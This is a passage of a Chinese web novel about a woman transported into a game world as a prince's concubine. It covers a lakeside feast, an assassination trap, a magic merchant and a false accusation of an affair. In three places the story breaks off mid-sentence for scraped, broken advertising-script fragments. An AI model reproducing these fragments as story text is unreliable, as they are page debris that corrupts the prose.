李嗣指着满地狼藉哈哈大笑:“‘朱门酒肉臭,路有冻死骨。''少陵野老言犹在耳,赵琮昀我问你,江州数十万百姓的命,在你眼里算什么?” “如今南方水患未平,北方战事不断,你在这里大摆筵席,歌舞升平给谁看?你对得起老师多年的教诲吗?” 赵琮昀僵在原地。 岳明明感觉他身体骤然绷紧,手被攥得生疼,她想把他拉走,却发现根本拽不动他。 “我说错了吗?赵琮昀,枉你读了多年圣贤书,都读到狗肚子里去了!幼学之年尚有鸿鹄之志,现在只会躲在女人怀里风流快活!” 周围鸦雀无声,所有人都紧张地盯着赵琮昀背影。 只有岳明明看清了他藏在阴影中的脸。 她心头一凉。 李嗣那疯子哪壶不开提哪壶,赵琮昀被人戳到痛处,要杀人了! 8. 第 8 章 赵琮昀缓缓转过身,脸上居然挂着笑容。 “李嗣,多年前同窗那点情谊,不够饶恕你在这里大放厥词……御史如何?御察院又如何?你真当我不敢动你?” 本朝御史由皇帝亲自任免,其他人不得干涉,李嗣闻听此言,冷笑一声:“赵琮昀,你现在不光沉湎酒色,还要目无法纪、无君无国吗?” 这话说得忒重,周围人倒吸一口凉气。 赵琮昀喃喃念着“无君无国”四个字,似在咀嚼其中意味。他将目光移向湖面,那里停着今晚游湖的画舫,再远处,月辉洒落天地,万物一片皎银。 毫无预兆地,他突然伸出长臂,勒住李嗣脖颈,将人一路拖到湖边,径直丢了下去! “御史大人不妨亲自感受一下,我赵家的大好山河!” 他又对一脸懵逼的守卫喝道:“我看谁敢救他!” 无人敢动。 可众人看得清楚,李嗣正在湖中拼命挣扎——这位御史大人竟然不会水,这样下去,岂不是要闹出人命? 岳明明使劲儿朝东叔眨眼,希望他能做点什么,可看东叔气定神闲的样子,好像跟他主子一样,根本不在乎李嗣的死活! “系统,我会游泳吗?”岳明明不能放任李嗣淹死,她决定豁出去救人。 “你幼时跟哥哥学过游泳,水性很好。” 岳明明放心了。 待会儿就算赵琮昀一怒之下把她也踹下去,她好歹能保住小命。 岳明明本想直接往下跳,可她今日盛装,行动实在不便,最后只好从岸边捡起一支挑灯用的长竹竿,努力探身朝李嗣递过去。 “李嗣,你抓住了!”岳明明旁若无人地大喊道。 所有人,包括东叔,都震惊地看着她。 这……不等于当众打赵琮昀的脸吗?! 岳明明哪管得了那么多,她在岸边几番调整位置,终于将竹竿送到了李嗣手中。 可她忘了,溺水之人一旦抓住什么,就会死命往下拖。 水中的李嗣力气极大,岳明明哪里拉得住他,反倒一个踉跄,眼看着自己也要跌入湖里去! 就在这时,一双白玉般的手掌突然探过来,将岳明明稳稳捞入怀中。 这次赵琮昀似乎刻意保持了分寸,虽然距离极近,却不带半点暧昧姿态。 岳明明撞上他幽深的目光,微愣了一下。 他……这是什么眼神? 赵琮昀扭头不再看她,手却依然牢牢将她箍住,没有松开的意思。 岳明明也不客气,既然身旁挂了个稳稳当当的“秤砣”,她赶忙将竹竿往回收,一寸一寸,终于将半死不活的李嗣拉了上来。 赵琮昀仍不肯放手,岳明明有点窘迫:“王爷我错了!回去我给你写检讨书、保证书……什么书都行!” “你能不能先放开我?” 赵琮昀不理,凝着脸色,拉住她大步走向岸边画舫。 “人交给你们处理了!” 上船前,赵琮昀丢来一句话,守卫们如蒙大赦,赶紧扑过去抢救奄奄一息的李嗣。 其他人面面相觑—— 没想到万花丛中过的赵琮昀,居然也有对人百依百顺的一天! 差点当众戴绿帽,还眼睁睁看她舍命救别的男人,赵琮昀居然一声不吭,默认连情敌都放过了…… 真是一物降一物! 看来王爷对这位妾室……是真爱! 围观者不论官职地位,全是一副兴致勃勃的模样,有人已经开始打听这位岳小娘子究竟是何来头。 东叔转过身去,长长出了一口气。 今晚过后,岳明明宠妾的身份,算是再无争议了。 * “……你们故意的?” 画舫之中,赵琮昀倚着桌案闭目养神,东叔一边煮茶,一边给岳明明耐心解释。 “当然!那位可是圣上钦点的御史,王爷怎么可能真把人淹死!” 岳明明吃惊道:“所以李嗣跟你们是一伙儿的?他其实会游泳?” 东叔瞄了眼赵琮昀,摇摇头:“湖里有我们的人,随时能把他救走。” 岳明明道:“你们就不怕来不及?” “凭他今晚说的那些话,死了活该!”赵琮昀不知何时睁开眼睛,冷冷道。 东叔忙递过热茶,赵琮昀抿了一口,眉头略略舒展。 岳明明想起来,系统说过,赵琮昀讨厌喝酒,可他席间推杯换盏,豪饮得那么自然! 她心里佩服,这狗男人长了张偶像的脸,居然还是个演技派! “……你和李嗣以前认识?”岳明明开始八卦。 听李嗣说话间,好像对赵琮昀怨念很深,颇有些恨铁不成钢的意思。 “他是什么身份,也配认识我?”赵琮昀冷哼一声,显然心情不好,说话夹枪带棒。 顿了顿,他突然话锋一转,将战火引到她身上:“我竟不知,你和他还有这样一层关系。” “你之前说过,半年之后会主动离开王府,难道是跟他约好了?” “可是你休书既已到手,为何现在不走?这半年……你要留在我身边做什么?” 岳明明:………… 她没想到赵琮昀疑心这么重,到现在仍在怀疑她! 她只好努力拍马屁:“我都说了,留下来保命嘛!出去我父亲会杀我灭口的!李嗣他只是一个御史,哪有王爷你厉害?” “你不愿意说也罢,总有一天我会查出来。” 赵琮昀淡淡继续:“我探不出你的底,但对你的行事风格,也算心中有数。” “我什么风格?”岳明明好奇。 “鲁莽,冲动,不守承诺,胆大包天,喜欢自作主张……” “够了够了!”岳明明大怒:“不就是今晚出了点小状况嘛,你还逮住不放,是不是男人?” 赵琮昀冷笑:“哦?你觉得男人该什么样?像李嗣那样?” 岳明明怼道:“你老提他干什么?李嗣再不济,人前人后都是正人君子,你敢吗?刚刚宴会上那副模样,你自己装得不难受吗?” 赵琮昀倏地变了脸色,对东叔怒道:“你跟她说了什么?” 东叔若无其事地打圆场:“娘子莫气,王爷这是夸你呢!” 赵琮昀:??? 岳明明:??? “你们王府都这么夸人吗?比骂人还难听!” 东叔笑道:“若娘子精于算计,或者满心城府,王爷根本不会留你在身边,更别谈配合演戏了。” 岳明 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 明不服:“……我没有城府吗?” 赵琮昀嗤笑一声:“你连对我的厌恶都藏不住,七情那么容易上脸,还谈什么城府?” 岳明明愣了愣,想到当时情形,觉得有必要解释一下:“那个……其实当时……” 赵琮昀却恢复了一贯的矜傲:“你怎么想,我根本不感兴趣!但我希望你不要再制造这种‘惊喜’,今晚要不是我随机应变,拜你所赐,上万两银子就要打水漂了。” “这场宴会……花费上万两?” 岳明明想到李嗣口中江州数十万吃不上饭的灾民,喃喃道:“值得吗?” 赵琮昀偏头看她一眼,似乎若有所思,最后垂下眼眸道:“……值得。” 旁边东叔暗暗叹了口气。 就在此时,湖心忽然有琴声响起。岳明明眼睛一亮:“是刚才弹琴的那位舞姬吗?” 赵琮昀看向东叔。 东叔轻轻点头,转身退了出去。岳明明心中纳闷,东叔临走前瞥向他们的一眼,隐隐透出忧色。 “东叔怎么走了?”岳明明问。 “你就这么不愿意跟我待在一起?”赵琮昀不咸不淡地说了一句,突然起身朝她走过来。 画舫内不像马车空间那般狭小,本来两人相安无事,可赵琮昀非凑过来,岳明明有些不自在了:“你又想干嘛?” 赵琮昀沉默不语,虽然跟她保持了一点点距离,但在岳明明看来……还是太近了。 对方是尊金佛,她请不动,岳明明只好自己往外挪,赵琮昀一把按住她:“别动。” 下一秒,画舫内的灯突然熄灭了! 岳明明吓得一抖,她以为赵琮昀要对她行不轨之事,刚准备尖叫喊人,却瞥见一道雪亮的锋芒划破窗户,直朝自己刺来! 空气中似有剑意嗡鸣。 这是……刺杀?! 岳明明大脑一片空白,呆愣愣杵在原地,连躲避都忘了。 原来电视剧里都是骗人的,这么快的剑,怎么可能躲得开呢? 她觉得自己这回死定了—— 跟上次不一样,那几个轿夫只是穷凶极恶之徒,这次来的杀人者,却是专业杀手! 剑光转瞬即至,岳明明甚至闻到了剑刃上淡淡的血腥味。 千钧一发之际,赵琮昀突然出手,将她猛地推开。剑尖擦着岳明明侧脸飞过去,她顿时感觉脸颊一阵刺痛。 还没完! 事实上,这场刺杀才刚刚开始! 岳明明晕头晕脑躲到屏风后,借着月光,她清楚地看到六七个人影从水面腾起,以不可思议的速度跃入画舫之中。 每个人都手握利剑,朝她一拥而上。他们眼里没有赵琮昀,只有她! 岳明明心头雪亮,这些人是冲她来的! 她的“父亲”还是不肯放过她。 平时她待在王府里,戒备森严,不好下手,今晚的游湖赏月会,就是最好的机会! …………!! 岳明明脑中突然划过一个念头。 她在刀光剑影中转身,愣愣望着阴影里依然从容冷定的男人。 “赵琮昀,原来你早就知道!” “你是故意设下的圈套吧!” “这才是你办这场宴会的真正目的!” 9. 第 9 章 赵琮昀没有回答。 在岳明明看来,这是默认的意思。 她说不清自己什么感受,失望、愤怒、难过、憎恶……真真的五味杂陈。 可惜没时间给她理清心绪,剑就到了。 赵琮昀这次没有动,摆出事不关己的架势,冷冷立在原地。 岳明明心想,这人真狗啊…… 戏演得也是真好! 刚刚一波三折的感情戏,分寸恰到好处,连她在内的所有人,都傻乎乎地信以为真。 她竟以为,他是有那么一点在乎她的! 太尴尬了…… 她羞愧地闭上眼睛,等待着游戏中被穿成刺猬、现实中脑死亡的苦逼命运。 然而什么都没发生。 黑暗中接连响起清脆的撞击声,有人从画舫上方甩出一把袖箭,准确地将长剑一一击落。 那些刺客身形一阻,似要再往前冲,湖中又有一队人腾出水面,顷刻间将刺客团团围住! “风紧!撤!”刺客中间有人喊了一句。 “一个都不要放出去!”赵琮昀声音比剑锋还冷。 “明白!”东叔低声应道,从空中骤然现身,身形飘若鬼魅。岳明明反应过来,原来刚刚藏在梁上的是他! 犹在愣神之际,赵琮昀突然一把拎住她衣领:“还傻站着!不怕死吗?” 劫后余生,岳明明膝盖发软,只能任他拎着,跌跌撞撞来到甲板上。 “你……你放开!”发现死不了,岳明明火气又上来了:“你可真有意思!现在想起关心我死活了?” 赵琮昀原本看她楚楚可怜,有心扶她一把,听闻这话立刻撒手:“谁关心你?” 岳明明身形不稳,直接摔了个狗啃泥,她没力气爬起来,干脆翻了个身,躺在地上嘴硬道:“我没有利用价值了,所以你也不用演了!咱俩的合作到此为止!” “不要指望我再相信你!” 赵琮昀冷冷瞥她一眼,然后转过头去,目光落在湖心那轮明月上,久久没有说话。 琴声仍在铮铮作响。 弹的是一曲《十面埋伏》,曲声终了,画舫内打斗也刚好结束。 东叔出来禀告:“总共七人,死了一个,活捉六个。” 赵琮昀:“领头的扣下,其他人待会儿交给巡防营。” 东叔顿了顿:“还有一事……先前暗卫在湖中撞见两人,一老一少,皆是刺客打扮,他们只擒住了老的,让年轻的跑了,不知跟船上这一拨是不是同伙?” 赵琮昀目光一凝:“你觉得呢?” 东叔:“从对方身手、衣着和兵刃来看,不似一伙,却不知他们藏在湖中有何用意。” “一并带回府。跑了的那个继续追查。” “是。”东叔领命后,略带歉意地看向岳明明:“岳娘子这边……” 赵琮昀淡淡道:“她今晚的任务还没结束。” 岳明明:“……” 刺客都抓住了,还需要她干嘛? 未及细想,赵琮昀那厮突然俯身,牢牢将她扯住,然后带她一起……跳进了湖里。 * 岳明明一脸生无可恋,浑身湿漉漉坐在马车里,沉默地打着哆嗦。 她已经没脾气了…… 赵琮昀总是能出人意料,在她以为不会更生气的时候,默默添上一把柴。 从湖里爬出来,赵琮昀的解释是,需要给宾客和巡防营看到事情的严重性……若是他们衣衫整齐、毫发无损,怎么证明遇刺时情形危急呢? 苦肉计嘛……岳明明当然懂,可是凭什么苦的只有她?! 赵琮昀坐在她旁边。 同样浑身湿透,她看起来活像只落水狗,他却依旧脊背挺直,面色从容,不见半分狼狈。 余光瞥见她盯着自己,赵琮昀不知从哪儿掏出一件外袍,什么都不说,直接扔在岳明明身上。 “我不穿你的臭衣服!”岳明明把衣服扯下,气呼呼道:“要不是我会游泳,你刚才是不是想趁机淹死我!” 赵琮昀神色终于变了。 他捡起外袍,放到鼻端仔细闻了闻:“哪里臭了?” …… 这是重点吗?! 赵琮昀眉头一拧:“我不知道你在发什么疯?你父亲是什么样的人,你心里没数吗?你是他亲女儿,我凭什么信你?” 他冷笑继续道:“且不说你如何拿到那张漕运记录……一个弱女子,能逃脱追杀,绑了一个歹徒找到京城来,这里面桩桩件件都让人猜不透,你还指望我对你坦诚相待?” “是你天真,还是当我太蠢?” 岳明明张张嘴,说不出话来。 他所说之事,确实不好解释,她只好辩解道:“可是你反复利用我……” “你难道没有利用我?” 赵琮昀眸中倏地腾起怒火:“你硬要留在王府,你去招惹李凭如,你救下身份危险的婢女,甚至今晚你去救李嗣……有哪一件是为了我吗?” “你说得对!我的目的达到了,你没有利用价值了……咱们的逢场作戏到此为止!” 马车内,两人怒目而视,说不清谁的脸色更难看些。 “王爷……”东叔听到争吵,低低唤了一声:“巡防营的人来了,您要见吗?” “来的何人?”车帘掀起一角。 “……第三卫副统领,沈宗吾。” 岳明明透过帘角,瞥见前方列了一队全副武装的骑兵,为首年轻人银盔银甲,气宇轩昂,整个人犹如出鞘利剑,在人群中格外出挑。 岳明明还想细看,车帘却猛地坠下,珠贝摇曳,叮铃作响,赵琮昀冰冷的声音混在其中:“不见!回府!” 不知何故,岳明明觉得见到这个人后,赵琮昀好像更生气了。 * 回到府中,岳明明看都没看赵琮昀,径直回了屋子。 蒙着被子在床上躺了片刻,门外响起杏儿细弱的声音:“娘子,听说您刚刚掉进湖里了,奴婢准备了热水,您起身沐浴吧,免得着了凉。” 岳明明一骨碌爬起来,她此刻太需要一个热水澡了! 水汽氤氲,花香缭绕,泡在浴桶中的岳明明,被刺客吓跑的三魂七魄总算归了位。 她对一旁添水的杏儿感激道:“还是你对我好!你都不知道我今晚经历了什么!差点被赵……你们王爷和东叔害死!” 杏儿莞尔一笑:“娘子不知道,这热汤就是东叔让我给您准备的。” 她又从衣袖中拿出一只精致的瓷瓶:“还有这个,东叔也让我交给您,他说您脸上被剑气伤到了,涂这个不会留疤。” 岳明明愣了一下:“……想不到,东叔还挺细心。” 她其实明白,自己怎么说也是赵琮昀的妾室,准备热水、药膏这些后宅琐事,若不是赵琮昀授意,东叔一个外男,怎么敢逾越安排…… “那您消气了没?”杏儿笑问。 岳明明哼道:“打一巴掌给个甜枣……我才没那么便宜。” 嘴上虽然这么说,可攒起来的一腔怒意,还是慢慢蒸化殆尽了。 泡在热水里,岳明明头脑反倒逐渐冷静下来,她招呼杏儿道:“我不习惯别人伺候,你去休息 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吧,水我自己来添。” 杏儿低低应了一声,将瓷瓶交到岳明明手上,识趣地出去了。 岳明明攥着瓷瓶,心头微微软了一下。 想到那位不停置自己于死地的“亲爹”,跟他相比,赵琮昀只是利用她而已,她又有什么立场去责怪他呢? 他生长在帝王家,无论朝堂之上,还是家宅之中,满心满眼都是算计,自己居然向这样的人索要一份无缘无故的信任…… 的确如他所说,是她天真了。 她不该奢求赵琮昀理所应当的保护,哪怕合作,她也需要证明自己有价值,值得他费心照顾一下。 岳明明懊恼地拍拍脑门,怎么穿越到古代,连思维都跟着封建起来了……她是要做大侠的独立女性,可不是真的柔弱妾室! 痛定思痛,岳明明觉得有必要改变一下混吃等死的咸鱼状态。 她需要做点什么,自保的同时,将来再跟赵琮昀谈条件,也能更有底气。 想到此处,她忽然问道:“系统,我的飞檐走壁和行云掌,刚才危机时刻,为什么发挥不出来呢?” “虽然您已经‘学会’技能,但如果不熟悉操作,实战中很可能无法应用。” 岳明明懂了,就像键盘、手柄上的连招配合,如果记不住按键顺序,到了boss面前也是白搭。 她埋头钻入水中,不管脸上火辣辣的刺痛,心里逐渐浮出一个清晰的目标—— 她要开始认真地学功夫了! 想到有一天,当她威风凛凛地放出大招,赵琮昀、李凭如还有她父亲脸上的表情……岳明明弯起唇角,在水底笑得冒了个泡。 * 赵琮昀匆匆换了身衣裳,就赶去提审两名刺客。 时间紧迫,若等对方有所察觉,他们便失了先机,今晚这场大戏才是真的白演了! 两场审讯下来,东方天色已见白。 幸而这一夜收获不少,岳明明父亲派去的刺客经不住用刑,很快就全撂了,倒是那位目的不明的老者,脾气硬得很,什么都不肯说。 东叔见赵琮昀一脸疲惫神色,劝道:“待会儿还要上朝,今日朝堂上恐怕又是一场恶战,您去休息吧!” 赵琮昀揉着酸涩的眼眶,自嘲道:“是有些累……这么没完没了地演戏,演到我自己都快不知是真是假了。” 东叔低低叹气:“不过这几日的筹划,总算没白费……您放心,那老人我们再想办法,总能撬出些东西。” 赵琮昀:“此事不急,待抓住年轻的再说……我总觉得这老人不简单。” 东叔点头,又犹豫道:“岳家娘子那边,您此番试探出多少?” 赵琮昀眸光闪烁了一下:“她父亲的确要杀她灭口,她也不会任何功夫,连最基本的躲避都做不到……如果不是演的,倒是没说谎。” “这么说……您相信她了?” 赵琮昀不答,抬起幽深的眸子,反问道:“你为何一直愿意相信她?她说话做事,完全看不出目的……” 东叔微微一笑:“您一直在京城,身边个顶个都是聪明人,说话、做事皆有目的,像岳娘子这样胡闹的,您反倒看不懂了。” “属下却想起早年间在山里猎兔子的经历……被围捕的兔子,很容易惊吓过头,连洞在哪里都忘了,漫山遍野地胡跑,你根本瞧不出它要去哪儿……甚至有的一头撞在树上。属下认为,有时候守株待兔,反倒比猜它的心思来得容易。” 赵琮昀若有所思:“你要我……静观其变?” 他垂眸缓缓道:“可万一她不是兔子,而是条冻僵的蛇呢?” 10. 第 10 章 早朝后,岳明明收到了御赐封赏。 看着一箱箱金银珠宝流水似的送进来,岳明明大为震撼。 原来皇上听闻昨夜一连串幺蛾子,大发雷霆,先训斥了赵琮昀铺张浪费的纨绔行径,又因殴打朝廷官员,罚了他半年俸禄。 宠妾岳明明勇救李嗣有功,则下令嘉奖。 雷霆雨露,赏罚分明。 “……我也没做啥呀!这太夸张了!”岳明明受宠若惊。 东叔笑道:“娘子安心收着吧,就当是这场戏的酬金了。” 岳明明听他话中别有深意,悄声问:“这么多东西,哪里像真的生气,皇上其实是‘明罚暗赏’吧?” 东叔叹道:“连娘子都看出来了……这些赏赐,赏的是王爷‘安分守己’。这是告诉王爷,花再多钱也没关系,怕的反倒是他不花钱。” “……” 东叔淡淡一笑:“娘子不必忧心,这些事情,王爷早习惯了。” “另外昨晚的事……请娘子不要责怪王爷。” 他神色忽然郑重起来:“王爷对您并无加害之心,他还特意嘱咐过,要我们确保您的安全。” 岳明明一呆:“真的?” 东叔点头:“有些事他身不由己,还有一些事,是他性格所致……一个人被欺骗过太多次,失望过太多次,就很难再信任别人了。” 岳明明意外道:“他那么聪明,也被人骗过?” 东叔似乎不愿多谈,只低声道:“谁会生来就要求自己步步为营、算无遗策呢?那是很辛苦的事啊。” “娘子细想,自从进府以来,王爷可做了哪件害您的事吗?” 岳明明沉默了。 ……一直惹她生气算吗? 看着满屋赏赐,又想起昨晚的热汤和药,岳明明有些心软:“我……是不是该去跟他道个谢?” 东叔笑:“看来这园中,刀子嘴豆腐心的,不止一位。” “只是王爷此刻正在歇息……要不娘子选个礼物,权当谢礼?” “这个可以!”岳明明立刻拍板。 “我能出府吗?” “我让两个暗卫跟着您,掌灯前回来就可以。” “没问题!” 岳明明看着亮闪闪的金子,感觉游戏世界又为她打开了一道新大门。 她有钱了!可以出去shopping了! * 岳明明换了身低调衣衫,喜滋滋准备前往闹市。 她在心里列了个购物清单——给赵琮昀的谢礼,给东叔的拍马屁礼物,再给自己和杏儿买点好吃好玩的…… 最后,她还打算买几件练功服,王府的锦缎罗裙实在别扭,腿都迈不开,更别提“飞檐走壁”了。 出了府门,却见王妃苏定柔乘坐马车,先她一步出发了。 岳明明开启游戏中的导航,发现苏定柔跟她去往的是同一方向。 她有些好奇,这位王妃看上去冷冷淡淡,对任何事都漠不关心,不知道要去买些什么? 边走边想,可惜进入街市,岳明明瞬间就将苏定柔抛在脑后。 没想到古代世界的繁华,远超她想象! 那些点心蜜饯、胭脂香粉、钗环首饰……精美程度堪比博物馆藏品,连裁缝铺赠送的香囊都格外别致。 岳明明眼花缭乱,猛掏钱包,当她好不容易从一家蜜饯铺子抽身出来时,袖口忽然被人扯住了。 岳明明回头,发现是位须发皆白的老者,衣衫打满补丁,身后背个破烂竹篓,脸上堆着典型的奸商笑容。 “客官要买东西吗?我这里有些稀罕玩意儿,只卖有缘人!” 岳明明又好气又好笑,多少年没遇过这样淳朴的诈骗模式了。 闲来无事,她打算逗逗这老骗子:“……有多稀罕?给我看看呗!” 老者神秘一笑:“我这宝贝可不便宜,不知客官付不付得起?” 岳明明乐了,她现在最不缺的就是银子:“要价多少,我听听!” “不多不少,百两黄金,外加一千二百四十六两银子。” 岳明明睁大眼睛,狮子大开口,居然还有零有整的?! 然而下一刻她顿觉不对,脸色倏地变了。 此刻她怀中揣着的银票和碎银子,加在一起,恰好是一千二百四十六两! 而御赐封赏里,有一小箱金元宝,她特意问过东叔,正好是一百两黄金! 岳明明鸡皮疙瘩都起来了,愣愣道:“你……怎么会知道……” 老者不答,只笑呵呵道:“客官买吗?” “不买!” 岳明明吓得急忙往人群里躲,却听老者在她身后幽幽道:“老朽这盲盒,可是限定交易,过了这村就没这个店了!” 岳明明身形猛然顿住…… 盲盒??? 她灰溜溜绕回来,重新站回老者面前。 老者像没见过她似的,堆起笑容问:“客官要买东西吗?我这里有些稀罕玩意儿,只卖有缘人!” …… 果然是个不断重复的系统npc! 岳明明询问:“这是咋回事?你们的剧情安排?” 系统:“恭喜玩家,遇到隐藏货商!在这里有机会买到稀有宝贝,可能会对剧情和人物产生重要影响哦!” “能便宜一点吗?你们太奸商了吧,一开口就要我全部身家!” 系统不回复,这就是没戏的意思。 岳明明无奈,向老者道:“价格好说,你的盲盒里都有什么?” “上至传国玉玺,下至武功秘籍,老朽这里应有尽有,具体能买到什么,还要看客官的手气……不过丑话说在前头,盲盒也可能是空的,咱们买定离手,不退不换!” 岳明明搓搓手,表示很心动。万一开出满级大招,她就可以在游戏里横着走了。 以她的经验,游戏里的隐藏货商,卖的都是bug级商品,砸锅卖铁也要入! 反正钱也不是真的……不如赌一把! 岳明明干脆道:“我买了!但一百两黄金不在我身上,你能等我回去取吗?” “我可以跟您去府上拿。”老者殷勤道。 “哎……等等。” 岳明明忽然想起来,两名暗卫正在某处跟着她,万一被赵琮昀和东叔知道,她要怎么解释呢? 系统声音适时响起:“玩家请放心,其他人看不到隐藏货商,商品也只有您能购买。” 这倒也合理,要是大街上随便就能买到传国玉玺,那世界岂不乱了? 两人匆匆回了府,交易完毕,老者拿出一只四四方方的木盒:“盲盒在此,客官请收好。” 岳明明迫不及待接过来,再一抬头,老者已经消失不见。 她心里砰砰直跳,将盒子打开,只见里面静悄悄躺着一只瓷瓶。 这是……药? 游戏里确有一些药剂,恢复、解毒、下毒,功能各不相同,最珍贵的那种,甚至可以起死回生。 岳明明晃了晃瓷瓶,不是液体,倒像药丸。打开后,异香扑面而来,一粒红褐色躺在手心,有点像……麦丽素? 系统提示:“恭喜玩家,获得珍贵药品。名称不详,功效不详,使用方法不详。” “……” 可怜她那一整箱还没捂热的金元宝,就换了这么个“三无”产品?! 岳明明气得吐血:“你们是骗子吧!这破东西,连说明书都没有……还我金子!” 系统像所有骗子一样,果断玩起了失踪。 岳明明千金散尽,可没有李太白的豁达,恨恨拽过来两包点心,打算用糖油混合物把自己撑死。 吃得昏昏欲睡之际,脑中仅存的理智跳出来,拉响警报—— 糟糕! 说好给赵琮昀买的谢礼,忘了! 她那堆战利品,除了吃食就是女子衣衫, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 连临时塘塞一下的东西都没有。更惨的是,她现在一两银子都拿不出来…… 岳明明盯着御赐首饰发呆,不知道这玩意当铺敢不敢收? 她挑出几样不太浮夸的款式,想去碰碰运气,结果刚出参园,迎面就撞见了李凭如。 显然今天运气不佳。 “岳娘子要去哪里呀?”李凭如笑得让人脊背发寒。 “收到皇上赏赐,我出去转转,买点好玩的。”岳明明回了个同款假笑。 “你还真是不甘寂寞的性子……昨晚风头没出够,白日里也要去外面招蜂引蝶?” 岳明明俏脸一沉:“谁招蜂引蝶了?” 李凭如冷哼道:“昨晚玉湖边,你与御史大人的故事,京城恐怕家喻户晓了……如今那个叫李嗣的还躺在医馆,你就迫不及待勾搭上别人!王爷纵容你,我却不能不管!” 这话说得就有点难听了。 “你闲着没事想找人聊天,去找王爷好了!我就不奉陪了!” 岳明明深觉此女在阴阳怪气方面,与赵琮昀棋逢对手,她自己懒得吵架,转身欲走。 李凭如敛起笑意,指着岳明明鼻子道:“大胆岳氏,不知廉耻,私会男人,人证物证俱在,今天我要替王爷肃清门户!” 此言一出,两个身材壮硕的奴婢立刻上前,将岳明明夹在当中。 原来早有准备,在这儿等着她呢! 岳明明强压怒火:“莫须有的事,你哪来的人证物证?” 李凭如冷笑:“你上午出门,不到半个时辰就匆匆回了府,为什么?” 岳明明心里一紧,面不改色道:“我逛街逛累了,回来休息不行吗?” 李凭如露出“就知道你会抵赖”的表情,朝身后小厮吩咐:“把你今日看见的,一五一十说出来!若有半句假话,我将你卖去宁古塔!” 小厮扑通一声跪下:“小的名叫三宝,中午在后院喂马时,看见一道人影往内宅去了。我听说昨晚王爷遇上了刺客,怕今日又有歹人混进来,便跟了过去……” 他恐惧地咽了咽口水,继续道:“结果瞧见……那人跟一位娘子躲到假山后面,许久才出来!小的吓得赶紧往回跑,正巧被侧王妃撞见了……” 岳明明怒道:“你确定那人是我?” 三宝摇头,老实道:“当时离得太远,实在看不清脸,不过从那位娘子的衣饰来看,小的只敢确信,一定不是府里下人。” 李凭如厉声喝道:“王府上下,除去婢女佣人,总共就你我和王妃三个女人。王妃上午就出门了,此刻未归,他在外面撞见的是我,那私会之人,不是你还能是谁?” “就凭这个?”岳明明简直要笑出来:“你血口喷人也不要太离谱!我怎么知道这人不是你收买来栽赃我的?” 李凭如呵呵笑道:“你还真是不见棺材不落泪!” 她从袖中掏出一件物事,在岳明明眼前晃了晃:“这是你的东西吧?你回府时匆忙遗落,有人捡到,交给了我。” 岳明明一眼认出,那是裁缝铺子送给她的香囊。 “这是我在外面买的,怎么了?” 李凭如没想到她居然大方承认,又惊又怒:“不要脸!这种男女之间的龌龊东西都敢带回来,还说你没有私会男人?” 岳明明觉得脑子有点不够用——香囊跟男人有什么关系? 李凭如以为她要狡辩,嘲讽道:“你可不要说,你打算把这东西送给王爷?!” “是又怎么样?不行吗?”岳明明脱口而出。 李凭如脸色顿时涨得通红,周围人神色怪异,目光不善。 岳明明直觉哪里做错了,可她实在想不出来,唯一的解释就是这个香囊! 是不是……不该承认? 她正要改口反悔,身后响起一道冷冰冰的熟悉声音—— “都在这里吵什么?” 赵琮昀这头boss,好死不死地睡醒了。 11. 第 11 章 赵琮昀脸色比平日苍白几分,隐在树影之中,冷意森森,看得岳明明脊背发凉。 她忽然很不希望他掺和进来,哪怕她没有真的与人私会,但他什么也不做,只站在那里看她,就让她有一种莫名的慌张。 李凭如却好似打了鸡血,整个人趾高气昂,叫嚣着要赵琮昀主持公道。 赵琮昀缓步走过来,抬手接过那枚惹祸的香囊,漫不经心把玩着。 李凭如趁机将事情添油加醋描摹了一番,岳明明在旁安静听着,没有再去争辩。 她的目光只落在赵琮昀身上。 只要赵琮昀站在她这边,她就是安全的。 赵琮昀默默听完,将目光从香囊上移开,似笑非笑地看着岳明明,眸色如一汪寒潭,深不见底。 岳明明怔了一下,避开他的眼睛。 “听东叔说,你今日出门,是为了给我买礼物。东西呢?” 赵琮昀语气寻常,听不出喜怒,可岳明明有种直觉,这位boss又不高兴了…… “我忘记买了。”岳明明道。 “是吗……可听你刚才的意思,打算把这个送给我?”赵琮昀唇角勾出一个玩味的笑容:“这东西,连邀月楼的官妓都不好意思拿出来,你倒有情趣!” 他摊开白皙修长的手,递在她眼前。 岳明明顺着他掌心纵横交错的纹路,第一次看清了香囊的真面目。 她的脸腾地红了。 怪不得裁缝铺老板把东西塞给她的时候,笑容暧昧…… 当时岳明明以为自己出手阔绰,老板在刻意讨好她这位金主,根本没仔细看。 现在她明白了,那老东西居然在骚扰她! 这哪里是普通香囊,这是一枚绣春囊! 上面大张旗鼓绘着男女欢好之事,尺度之豪放,令人叹为观止。 岳明明又羞又恼,很想解释一下,她也是受害者啊……可放眼望去,满园子人各怀心思,谁又真的在乎呢? 就听赵琮昀继续问:“暗卫说你急匆匆回府,究竟为什么?不要拿编出来的瞎话哄骗我!” “这是你最后的解释机会。” 果然,赵琮昀关心的从来不是香囊,也不是她,而是她身上的秘密。 岳明明定定看着眼前一脸冷漠的男人,还有他身边几乎压不住嘴角的李凭如,忽然什么都不想说了。 她曾经耐着性子一次次地讨好他,配合他,谅解他,现在她不想伺候了。 去他的狗屁任务!去他的傻X游戏! “说话!”赵琮昀忽然断喝一声。 李凭如惊得一个激灵,同时兴奋不已——从未见过王爷如此生气,她要把握住这个机会! “不说话就是承认了!”她眉飞色舞地建议道:“王爷,休了她太便宜,不如效仿民间法子,将这小贱人沉塘!” 她紧张盯着赵琮昀,努力猜度他的心思。令她欣喜的是,赵琮昀居然没有反驳。 他……同意了?! 岳明明不敢置信地看向两人,心里怕得不行,泪珠不争气地滚下来,可她就是死死咬紧嘴唇,不肯解释半句。 “这次不怕了么?” 赵琮昀向前一步,逼视她的眼睛:“我说过,不喜欢哭哭啼啼的女人……别哭了!” “你喜欢什么,关我屁事!”岳明明吼回去。她此刻像只炸毛的猫,明明只是柔软的一团,却被逼出了猛兽才有的锋芒。 “快来人,把这小贱人带走!别在这儿脏了王爷的眼!”李凭如趁热打铁,一秒钟都不想耽搁。 婢女们经验丰富,配合无间,轻易就将岳明明擒得动弹不得。 